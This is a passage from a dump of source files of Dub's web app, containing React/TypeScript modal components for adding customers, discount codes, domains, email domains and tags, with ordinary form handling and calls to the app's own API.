onClick={(e) => e.stopPropagation()}\n                                  >\n                                    {customer.id}\n                                    <ArrowUpRight className=\"size-3 shrink-0\" />\n                                  </a>\n                                  {customer.subscriptions > 0 && (\n                                    <span>{customer.subscriptions} sub</span>\n                                  )}\n                                  {customer.dubCustomerId && (\n                                    <a\n                                      href={`/${slug}/program/customers/${customer.dubCustomerId}`}\n                                      target=\"_blank\"\n                                      className=\"rounded bg-neutral-200/80 px-1.5 py-0.5 text-neutral-500 hover:bg-neutral-200 hover:text-neutral-900\"\n                                    >\n                                      Already on Dub\n                                    </a>\n                                  )}\n                                </div>\n                              </div>\n                            </button>\n                          </li>\n                        );\n                      })}\n                    </ul>\n                  </div>\n                )}\n              </div>\n            ) : (\n              <div className=\"flex flex-col gap-6 px-4 py-6 text-left sm:px-6\">\n                <div>\n                  <label className=\"text-sm font-medium text-neutral-600\">\n                    Name\n                  </label>\n                  <input\n                    type=\"text\"\n                    autoComplete=\"off\"\n                    className=\"mt-1.5 block w-full rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n                    placeholder=\"John Doe\"\n                    autoFocus={!isMobile && !initialData?.email}\n                    {...register(\"name\", {\n                      setValueAs: (value) => (value === \"\" ? null : value),\n                    })}\n                  />\n                </div>\n\n                <div>\n                  <label className=\"text-sm font-medium text-neutral-600\">\n                    Email\n                  </label>\n                  <input\n                    type=\"email\"\n                    autoComplete=\"off\"\n                    className=\"mt-1.5 block w-full rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n                    placeholder=\"john@example.com\"\n                    autoFocus={!isMobile && !!initialData?.email}\n                    {...register(\"email\", {\n                      setValueAs: (value) => (value === \"\" ? null : value),\n                    })}\n                  />\n                </div>\n\n                <div>\n                  <label className=\"text-sm font-medium text-neutral-600\">\n                    Country <span className=\"text-neutral-400\">(required)</span>\n                  </label>\n                  <CountryCombobox\n                    value={country || \"US\"}\n                    onChange={(value) =>\n                      setValue(\"country\", value, { shouldValidate: true })\n                    }\n                    error={!!errors.country}\n                    className=\"mt-1.5\"\n                  />\n                  <input\n                    type=\"hidden\"\n                    {...register(\"country\", { required: true })}\n                  />\n                  <p className=\"mt-1.5 text-xs text-neutral-500\">\n                    Used in analytics and country-specific rewards.\n                  </p>\n                </div>\n\n                <div>\n                  <label className=\"text-sm font-medium text-neutral-600\">\n                    External ID{\" \"}\n                    <span className=\"text-neutral-400\">(required)</span>\n                  </label>\n                  <input\n                    type=\"text\"\n                    required\n                    autoComplete=\"off\"\n                    className=\"mt-1.5 block w-full rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n                    placeholder=\"e.g. cus_xxx or john@example.com\"\n                    {...register(\"externalId\", { required: true })}\n                  />\n                  <p className=\"mt-1.5 text-xs text-neutral-500\">\n                    Your unique ID for this customer (e.g. database ID or\n                    email).\n                  </p>\n                </div>\n\n                <div className=\"rounded-lg border border-neutral-200 bg-white p-4 shadow-sm\">\n                  <div className=\"flex items-center gap-4\">\n                    <Switch\n                      fn={setHasStripeCustomerId}\n                      checked={hasStripeCustomerId}\n                      trackDimensions=\"w-8 h-4\"\n                      thumbDimensions=\"w-3 h-3\"\n                      thumbTranslate=\"translate-x-4\"\n                    />\n                    <div className=\"flex flex-wrap items-center gap-1.5\">\n                      <span className=\"text-sm font-medium text-neutral-700\">\n                        Add\n                      </span>\n                      <span className=\"rounded border border-neutral-200 bg-neutral-50 px-1.5 py-0.5 font-mono text-xs text-neutral-500\">\n                        stripeCustomerId\n                      </span>\n                    </div>\n                  </div>\n                  {hasStripeCustomerId && (\n                    <div className=\"mt-4\">\n                      <label\n                        htmlFor=\"stripeCustomerId\"\n                        className=\"text-sm font-medium text-neutral-600\"\n                      >\n                        Stripe Customer ID\n                      </label>\n                      <input\n                        type=\"text\"\n                        id=\"stripeCustomerId\"\n                        autoComplete=\"off\"\n                        className=\"mt-1.5 block w-full rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-sm text-neutral-900 placeholder-neutral-400 shadow-sm transition-colors focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n                        placeholder=\"cus_NffrFeUfNV2Hib\"\n                        {...register(\"stripeCustomerId\", {\n                          setValueAs: (value) => (value === \"\" ? null : value),\n                        })}\n                      />\n                      <p className=\"mt-1.5 text-xs text-neutral-500\">\n                        Used to attribute recurring sales to partners.\n                      </p>\n                    </div>\n                  )}\n                </div>\n              </div>\n            )}\n          </AnimatedSizeContainer>\n\n          <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Create customer\"\n              className=\"h-9 w-fit\"\n              loading={isSubmitting}\n              disabled={showStripeImport || !externalId || !country}\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useAddCustomerModal({\n  onSuccess,\n}: {\n  onSuccess?: (customer: CustomerProps) => void;\n} = {}) {\n  const [showAddCustomerModal, setShowAddCustomerModal] = useState(false);\n  const [initialData, setInitialData] = useState<\n    AddCustomerInitialData | undefined\n  >();\n\n  const AddCustomerModalCallback = useCallback(() => {\n    return (\n      <AddCustomerModal\n        showModal={showAddCustomerModal}\n        setShowModal={(show) => {\n          setShowAddCustomerModal(show);\n          if (!show) {\n            setInitialData(undefined);\n          }\n        }}\n        onSuccess={onSuccess}\n        initialData={initialData}\n      />\n    );\n  }, [showAddCustomerModal, initialData, onSuccess]);\n\n  const setShowAddCustomerModalWithData = useCallback(\n    (show: boolean, data?: AddCustomerInitialData) => {\n      setShowAddCustomerModal(show);\n      setInitialData(data);\n    },\n    [],\n  );\n\n  return useMemo(\n    () => ({\n      setShowAddCustomerModal: setShowAddCustomerModalWithData,\n      AddCustomerModal: AddCustomerModalCallback,\n    }),\n    [setShowAddCustomerModalWithData, AddCustomerModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-discount-code-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { DiscountCodeProps, EnrolledPartnerProps } from \"@/lib/types\";\nimport { createDiscountCodeSchema } from \"@/lib/zod/schemas/discount\";\nimport {\n  ArrowTurnLeft,\n  Button,\n  Combobox,\n  ComboboxOption,\n  Modal,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { cn, getPrettyUrl } from \"@dub/utils\";\nimport { Tag } from \"lucide-react\";\nimport { useCallback, useMemo, useRef, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useDebounce } from \"use-debounce\";\nimport * as z from \"zod/v4\";\nimport { STRIPE_ERROR_MAP } from \"../partners/constants\";\nimport { X } from \"../shared/icons\";\nimport { UpgradeRequiredToast } from \"../shared/upgrade-required-toast\";\n\ntype FormData = z.infer<typeof createDiscountCodeSchema>;\n\ninterface AddDiscountCodeModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  partner: EnrolledPartnerProps;\n}\n\nconst AddDiscountCodeModal = ({\n  showModal,\n  setShowModal,\n  partner,\n}: AddDiscountCodeModalProps) => {\n  const [search, setSearch] = useState(\"\");\n  const [isOpen, setIsOpen] = useState(false);\n\n  const formRef = useRef<HTMLFormElement>(null);\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [, copyToClipboard] = useCopyToClipboard();\n  const { makeRequest, isSubmitting } = useApiMutation<DiscountCodeProps>();\n\n  const { register, handleSubmit, setValue, watch } = useForm<FormData>({\n    defaultValues: {\n      code: \"\",\n      linkId: \"\",\n    },\n  });\n\n  const [linkId] = watch([\"linkId\"]);\n\n  // Get partner links for the dropdown\n  const partnerLinks = partner.links || [];\n  const selectedLink = partnerLinks.find((link) => link.id === linkId);\n\n  const linkOptions = useMemo(() => {\n    if (!debouncedSearch) {\n      return partnerLinks.map((link) => ({\n        value: link.id,\n        label: getPrettyUrl(link.shortLink),\n      }));\n    }\n\n    return partnerLinks\n      .filter((link) =>\n        link.shortLink.toLowerCase().includes(debouncedSearch.toLowerCase()),\n      )\n      .map((link) => ({\n        value: link.id,\n        label: getPrettyUrl(link.shortLink),\n      }));\n  }, [partnerLinks, debouncedSearch]);\n\n  const onSubmit = async (formData: FormData) => {\n    await makeRequest(\"/api/discount-codes\", {\n      method: \"POST\",\n      body: {\n        ...formData,\n        partnerId: partner.id,\n      },\n      onSuccess: async (data) => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/discount-codes\");\n        copyToClipboard(data.code);\n        toast.success(\"Discount code created and copied to clipboard!\");\n      },\n      onError: (error) => {\n        if (error) {\n          const code = Object.keys(STRIPE_ERROR_MAP).find((key) =>\n            error.startsWith(key),\n          );\n\n          if (code) {\n            const { title, ctaLabel, ctaUrl } = STRIPE_ERROR_MAP[code];\n            const message = error.replace(`${code}: `, \"\");\n\n            toast.custom(() => (\n              <UpgradeRequiredToast\n                title={title}\n                message={message}\n                ctaLabel={ctaLabel}\n                ctaUrl={ctaUrl}\n              />\n            ));\n            return;\n          }\n        }\n\n        toast.error(error);\n      },\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-lg\"\n    >\n      <form ref={formRef} onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"flex flex-col items-start justify-between gap-4 px-6 py-4\">\n          <div className=\"flex w-full items-center justify-between\">\n            <h3 className=\"text-lg font-medium\">New discount code</h3>\n            <button\n              type=\"button\"\n              onClick={() => setShowModal(false)}\n              className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n            >\n              <X className=\"h-5 w-5\" />\n            </button>\n          </div>\n\n          <div className=\"flex w-full flex-col gap-6\">\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"referral-link\"\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  Referral link\n                </label>\n              </div>\n\n              <Combobox\n                selected={\n                  selectedLink\n                    ? {\n                        value: selectedLink.id,\n                        label: getPrettyUrl(selectedLink.shortLink),\n                      }\n                    : null\n                }\n                setSelected={(option: ComboboxOption) => {\n                  if (!option) {\n                    return;\n                  }\n\n                  setValue(\"linkId\", option.value);\n                }}\n                options={linkOptions}\n                caret={true}\n                placeholder=\"Select referral link\"\n                searchPlaceholder=\"Search\"\n                buttonProps={{\n                  className: cn(\n                    \"w-full h-10 justify-start px-3\",\n                    \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                    \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n                  ),\n                }}\n                optionClassName=\"sm:max-w-[400px]\"\n                shouldFilter={false}\n                open={isOpen}\n                onOpenChange={setIsOpen}\n                onSearchChange={setSearch}\n              />\n              <p className=\"text-xs text-neutral-500\">\n                Choose a referral link to associate the discount code with\n              </p>\n            </div>\n\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"code\"\n                  className=\"block text-sm font-medium text-neutral-700\"\n                >\n                  Discount code\n                </label>\n              </div>\n\n              <div className=\"relative\">\n                <div className=\"absolute inset-y-0 left-0 flex items-center pl-3\">\n                  <Tag className=\"text-content-default h-4 w-4\" />\n                </div>\n                <input\n                  {...register(\"code\")}\n                  type=\"text\"\n                  id=\"code\"\n                  className=\"block w-full rounded-md border-[1.5px] border-neutral-300 pl-10 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder={partner.name.split(\" \")[0].toUpperCase()}\n                />\n              </div>\n              <p className=\"text-xs text-neutral-500\">\n                Discount codes cannot be edited after creation\n              </p>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end border-t border-neutral-200 bg-neutral-50 p-4\">\n          <Button\n            type=\"submit\"\n            text={\n              <span className=\"flex items-center gap-2\">\n                Create discount code\n                <div className=\"rounded border border-white/20 p-1\">\n                  <ArrowTurnLeft className=\"size-3.5\" />\n                </div>\n              </span>\n            }\n            className=\"h-8 w-fit pl-2.5 pr-1.5\"\n            loading={isSubmitting}\n            disabled={!linkId}\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n};\n\nexport function useAddDiscountCodeModal({\n  partner,\n}: {\n  partner: EnrolledPartnerProps;\n}) {\n  const [showAddDiscountCodeModal, setShowAddDiscountCodeModal] =\n    useState(false);\n\n  const AddDiscountCodeModalCallback = useCallback(() => {\n    return (\n      <AddDiscountCodeModal\n        showModal={showAddDiscountCodeModal}\n        setShowModal={setShowAddDiscountCodeModal}\n        partner={partner}\n      />\n    );\n  }, [showAddDiscountCodeModal, setShowAddDiscountCodeModal, partner]);\n\n  return useMemo(\n    () => ({\n      setShowAddDiscountCodeModal,\n      AddDiscountCodeModal: AddDiscountCodeModalCallback,\n    }),\n    [setShowAddDiscountCodeModal, AddDiscountCodeModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-edit-domain-modal.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainProps } from \"@/lib/types\";\nimport { AddEditDomainForm } from \"@/ui/domains/add-edit-domain-form\";\nimport { Button, ButtonProps, Modal, TooltipContent } from \"@dub/ui\";\nimport { capitalize, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\nfunction AddEditDomainModal({\n  showAddEditDomainModal,\n  setShowAddEditDomainModal,\n  props,\n  onSuccess,\n}: {\n  showAddEditDomainModal: boolean;\n  setShowAddEditDomainModal: Dispatch<SetStateAction<boolean>>;\n  props?: DomainProps;\n  onSuccess?: (domain: DomainProps) => void;\n}) {\n  return (\n    <Modal\n      showModal={showAddEditDomainModal}\n      setShowModal={setShowAddEditDomainModal}\n      drawerRootProps={{ repositionInputs: false }}\n      className=\"max-h-[90vh] max-w-lg\"\n    >\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white px-4 py-4 text-lg font-medium sm:px-6\">\n        {props ? \"Update\" : \"Add\"} Domain\n      </div>\n      <div className=\"bg-neutral-50\">\n        <AddEditDomainForm\n          props={props}\n          onSuccess={(domain) => {\n            setShowAddEditDomainModal(false);\n            onSuccess?.(domain);\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nfunction AddDomainButton({\n  setShowAddEditDomainModal,\n  buttonProps,\n}: {\n  setShowAddEditDomainModal: Dispatch<SetStateAction<boolean>>;\n  buttonProps?: Partial<ButtonProps>;\n}) {\n  const { slug, plan, role, domainsLimit, exceededDomains } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"domains.write\",\n    role,\n  }).error;\n\n  return (\n    <div>\n      <Button\n        text=\"Add Domain\"\n        disabledTooltip={\n          exceededDomains ? (\n            <TooltipContent\n              title={`You can only add up to ${domainsLimit} ${pluralize(\"domain\", domainsLimit || 0)} on the ${capitalize(plan)} plan. Upgrade to add more domains`}\n              cta=\"Upgrade\"\n              href={`/${slug}/upgrade`}\n            />\n          ) : (\n            permissionsError || undefined\n          )\n        }\n        onClick={() => setShowAddEditDomainModal(true)}\n        {...buttonProps}\n      />\n    </div>\n  );\n}\n\nexport function useAddEditDomainModal({\n  props,\n  buttonProps,\n  onSuccess,\n}: {\n  props?: DomainProps;\n  buttonProps?: Partial<ButtonProps>;\n  onSuccess?: (domain: DomainProps) => void;\n} = {}) {\n  const [showAddEditDomainModal, setShowAddEditDomainModal] = useState(false);\n\n  const AddEditDomainModalCallback = useCallback(() => {\n    return (\n      <AddEditDomainModal\n        showAddEditDomainModal={showAddEditDomainModal}\n        setShowAddEditDomainModal={setShowAddEditDomainModal}\n        props={props}\n        onSuccess={onSuccess}\n      />\n    );\n  }, [showAddEditDomainModal, setShowAddEditDomainModal]);\n\n  const AddDomainButtonCallback = useCallback(() => {\n    return (\n      <AddDomainButton\n        setShowAddEditDomainModal={setShowAddEditDomainModal}\n        buttonProps={buttonProps}\n      />\n    );\n  }, [setShowAddEditDomainModal, buttonProps]);\n\n  return useMemo(\n    () => ({\n      setShowAddEditDomainModal,\n      AddEditDomainModal: AddEditDomainModalCallback,\n      AddDomainButton: AddDomainButtonCallback,\n    }),\n    [\n      setShowAddEditDomainModal,\n      AddEditDomainModalCallback,\n      AddDomainButtonCallback,\n    ],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-edit-email-domain-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { createEmailDomainBodySchema } from \"@/lib/zod/schemas/email-domains\";\nimport { AlertCircleFill } from \"@/ui/shared/icons\";\nimport { AnimatedSizeContainer, Button, Modal } from \"@dub/ui\";\nimport { cn, getApexDomain } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useEffect, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\nimport * as z from \"zod/v4\";\n\ninterface AddEditEmailDomainModalProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  emailDomain?: {\n    id: string;\n    slug: string;\n  };\n}\n\ntype FormData = z.input<typeof createEmailDomainBodySchema>;\n\nfunction AddEditEmailDomainModalContent({\n  setIsOpen,\n  emailDomain,\n}: AddEditEmailDomainModalProps) {\n  const { makeRequest: createEmailDomain, isSubmitting: isCreating } =\n    useApiMutation();\n  const { makeRequest: updateEmailDomain, isSubmitting: isUpdating } =\n    useApiMutation();\n\n  const [isApexDomain, setIsApexDomain] = useState(false);\n  const [apexDomain, setApexDomain] = useState<string>(\"\");\n\n  const {\n    register,\n    handleSubmit,\n    watch,\n    formState: { errors },\n  } = useForm<FormData>({\n    defaultValues: {\n      slug: emailDomain?.slug || \"\",\n    },\n  });\n\n  const slug = watch(\"slug\");\n\n  const checkIfApexDomain = useDebouncedCallback((value: string) => {\n    if (!value || value.trim() === \"\") {\n      setIsApexDomain(false);\n      setApexDomain(\"\");\n      return;\n    }\n\n    try {\n      const normalizedValue = value.trim().toLowerCase();\n      const detectedApexDomain = getApexDomain(`https://${normalizedValue}`);\n      // If the apex domain equals the input (after removing www prefix), it's an apex domain\n      const valueWithoutWww = normalizedValue.replace(/^www\\./, \"\");\n      const isApex =\n        detectedApexDomain === normalizedValue ||\n        detectedApexDomain === valueWithoutWww;\n      setIsApexDomain(isApex);\n      setApexDomain(isApex ? detectedApexDomain : \"\");\n    } catch (e) {\n      setIsApexDomain(false);\n      setApexDomain(\"\");\n    }\n  }, 300);\n\n  useEffect(() => {\n    checkIfApexDomain(slug || \"\");\n  }, [slug, checkIfApexDomain]);\n\n  const onSubmit = async (data: FormData) => {\n    if (isApexDomain) {\n      toast.error(\n        \"Please use a subdomain instead of an apex domain (e.g., mail.dub.co)\",\n      );\n      return;\n    }\n\n    if (!emailDomain) {\n      return await createEmailDomain(\"/api/email-domains\", {\n        method: \"POST\",\n        body: data,\n        onSuccess: async () => {\n          toast.success(\"Email domain created successfully!\");\n          setIsOpen(false);\n          await mutatePrefix(\"/api/email-domains\");\n        },\n      });\n    }\n\n    return await updateEmailDomain(`/api/email-domains/${emailDomain.slug}`, {\n      method: \"PATCH\",\n      body: data,\n      onSuccess: async () => {\n        toast.success(\"Email domain updated successfully!\");\n        setIsOpen(false);\n        await mutatePrefix(\"/api/email-domains\");\n      },\n    });\n  };\n\n  const saveDisabled = useMemo(() => {\n    return !slug || isApexDomain;\n  }, [slug, isApexDomain]);\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)}>\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <h2 className=\"text-lg font-semibold\">\n            {emailDomain ? \"Edit email domain\" : \"Add email domain\"}\n          </h2>\n        </div>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto bg-neutral-50\">\n        <div className=\"space-y-6 p-6\">\n          <div>\n            <label\n              htmlFor=\"slug\"\n              className=\"text-sm font-medium text-neutral-800\"\n            >\n              Domain\n            </label>\n            <div className=\"mt-1.5\">\n              <div\n                className={cn(\n                  \"-m-1 rounded-[0.625rem] p-1\",\n                  isApexDomain && slug\n                    ? \"bg-blue-100 text-blue-800\"\n                    : \"bg-transparent\",\n                )}\n              >\n                <div className=\"flex rounded-md border border-neutral-300 bg-white\">\n                  <input\n                    type=\"text\"\n                    id=\"slug\"\n                    autoFocus\n                    className={cn(\n                      \"block w-full rounded-md border-0 px-3 py-2 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\",\n                      errors.slug &&\n                        \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                    )}\n                    {...register(\"slug\", {\n                      required: \"Domain is required\",\n                      validate: (value) => {\n                        if (!value) {\n                          return \"Domain is required\";\n                        }\n\n                        const domainRegex =\n                          /^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;\n\n                        if (!domainRegex.test(value)) {\n                          return \"Please enter a valid domain\";\n                        }\n\n                        return true;\n                      },\n                    })}\n                    placeholder=\"mail.dub.co\"\n                  />\n                </div>\n\n                <AnimatedSizeContainer\n                  height\n                  transition={{ ease: \"easeInOut\", duration: 0.1 }}\n                >\n                  {isApexDomain && slug && apexDomain && (\n                    <div className=\"flex items-center justify-between gap-4 p-2 text-sm\">\n                      <p>\n                        <span className=\"rounded-md bg-blue-200 px-1 py-0.5 font-mono\">\n                          {slug}\n                        </span>{\" \"}\n                        is an apex domain. Please use a subdomain instead (e.g.,{\" \"}\n                        <span className=\"rounded-md bg-blue-200 px-1 py-0.5 font-mono\">\n                          partners.{apexDomain}\n                        </span>\n                        ) to maintain domain reputation.{\" \"}\n                        <a\n                          href=\"https://dub.co/help/article/email-campaigns#email-domain-setup\"\n                          target=\"_blank\"\n                          className=\"cursor-help font-semibold underline decoration-dotted underline-offset-2\"\n                        >\n                          Learn more\n                        </a>\n                        .\n                      </p>\n                      <AlertCircleFill className=\"size-5 shrink-0\" />\n                    </div>\n                  )}\n                </AnimatedSizeContainer>\n              </div>\n              {errors.slug && (\n                <p className=\"mt-1 text-sm text-red-600\">\n                  {errors.slug.message}\n                </p>\n              )}\n              <p className=\"mt-2 text-xs text-neutral-500\">\n                This domain will be used to send campaign emails. You can\n                configure specific \"from\" addresses when creating campaigns.\n              </p>\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            disabled={isCreating || isUpdating}\n          />\n\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text={emailDomain ? \"Update domain\" : \"Add domain\"}\n            className=\"h-9 w-fit\"\n            loading={isCreating || isUpdating}\n            disabled={saveDisabled}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function AddEditEmailDomainModal({\n  isOpen,\n  setIsOpen,\n  emailDomain,\n}: AddEditEmailDomainModalProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Modal showModal={isOpen} setShowModal={setIsOpen}>\n      <AddEditEmailDomainModalContent\n        setIsOpen={setIsOpen}\n        emailDomain={emailDomain}\n      />\n    </Modal>\n  );\n}\n\nexport function useAddEditEmailDomainModal(\n  props: Omit<AddEditEmailDomainModalProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    addEditEmailDomainModal: (\n      <AddEditEmailDomainModal\n        setIsOpen={setIsOpen}\n        isOpen={isOpen}\n        {...props}\n      />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/add-edit-tag-modal.tsx",
    "content": "import { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useTags from \"@/lib/swr/use-tags\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ResourceColorsEnum, TagProps } from \"@/lib/types\";\nimport { RESOURCE_COLORS_DATA } from \"@/ui/colors\";\nimport {\n  Button,\n  InfoTooltip,\n  Label,\n  Logo,\n  Modal,\n  RadioGroup,\n  RadioGroupItem,\n  TooltipContent,\n  useKeyboardShortcut,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { capitalize, cn, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  FormEvent,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { randomBadgeColor } from \"../links/tag-badge\";\n\nfunction AddEditTagModal({\n  showAddEditTagModal,\n  setShowAddEditTagModal,\n  props,\n}: {\n  showAddEditTagModal: boolean;\n  setShowAddEditTagModal: Dispatch<SetStateAction<boolean>>;\n  props?: TagProps;\n}) {\n  const { id: workspaceId } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n\n  const [saving, setSaving] = useState(false);\n\n  const [data, setData] = useState<TagProps>(\n    props || {\n      id: \"\",\n      name: \"\",\n      color: randomBadgeColor(),\n    },\n  );\n  const { id, name, color } = data;\n\n  const saveDisabled = useMemo(\n    () =>\n      saving ||\n      !name ||\n      !color ||\n      (props &&\n        Object.entries(props).every(([key, value]) => data[key] === value)),\n    [props, data],\n  );\n\n  const endpoint = useMemo(\n    () =>\n      id\n        ? {\n            method: \"PATCH\",\n            url: `/api/tags/${id}?workspaceId=${workspaceId}`,\n            successMessage: \"Successfully updated tag!\",\n          }\n        : {\n            method: \"POST\",\n            url: `/api/tags?workspaceId=${workspaceId}`,\n            successMessage: \"Successfully added tag!\",\n          },\n    [id],\n  );\n\n  return (\n    <Modal\n      showModal={showAddEditTagModal}\n      setShowModal={setShowAddEditTagModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        <Logo />\n        <div className=\"flex flex-col space-y-1 text-center\">\n          <h3 className=\"text-lg font-medium\">\n            {props ? \"Edit\" : \"Create\"} tag\n          </h3>\n          <p className=\"text-sm text-neutral-500\">\n            Use tags to organize your links.{\" \"}\n            <a\n              href=\"https://dub.co/help/article/how-to-use-tags#what-is-a-tag\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"underline underline-offset-4 hover:text-neutral-800\"\n            >\n              Learn more\n            </a>\n          </p>\n        </div>\n      </div>\n\n      <form\n        onSubmit={async (e: FormEvent<HTMLFormElement>) => {\n          e.preventDefault();\n          setSaving(true);\n          fetch(endpoint.url, {\n            method: endpoint.method,\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify({\n              // Create expects 'tag', edit expects 'name', so provide both\n              name: data.name,\n              tag: data.name,\n              color: data.color,\n            }),\n          }).then(async (res) => {\n            if (res.status === 200 || res.status === 201) {\n              await mutatePrefix([\"/api/tags\", \"/api/links\"]);\n              toast.success(endpoint.successMessage);\n              setShowAddEditTagModal(false);\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n            setSaving(false);\n          });\n        }}\n        className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:rounded-b-2xl sm:px-16\"\n      >\n        <div>\n          <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n            <p className=\"block text-sm font-medium text-neutral-700\">\n              Tag Name\n            </p>\n          </label>\n          <div className=\"mt-2 flex rounded-md shadow-sm\">\n            <input\n              name=\"name\"\n              id=\"name\"\n              type=\"text\"\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              placeholder=\"New Tag\"\n              value={name}\n              onChange={(e) => {\n                setData({ ...data, name: e.target.value });\n              }}\n            />\n          </div>\n        </div>\n\n        <div>\n          <label htmlFor=\"name\" className=\"flex items-center space-x-2\">\n            <p className=\"block text-sm font-medium text-neutral-700\">\n              Tag Color\n            </p>\n            <InfoTooltip content=\"A color to make your tag stand out.\" />\n          </label>\n          <RadioGroup\n            defaultValue={color}\n            onValueChange={(value: ResourceColorsEnum) => {\n              setData({ ...data, color: value });\n            }}\n            className=\"mt-2 flex flex-wrap gap-3\"\n          >\n            {RESOURCE_COLORS_DATA.map(({ color: colorOption, tagVariants }) => (\n              <div key={colorOption} className=\"flex items-center\">\n                <RadioGroupItem\n                  value={colorOption}\n                  id={colorOption}\n                  className=\"peer pointer-events-none absolute opacity-0\"\n                />\n                <Label\n                  htmlFor={colorOption}\n                  className={cn(\n                    \"cursor-pointer whitespace-nowrap rounded-md px-2 py-0.5 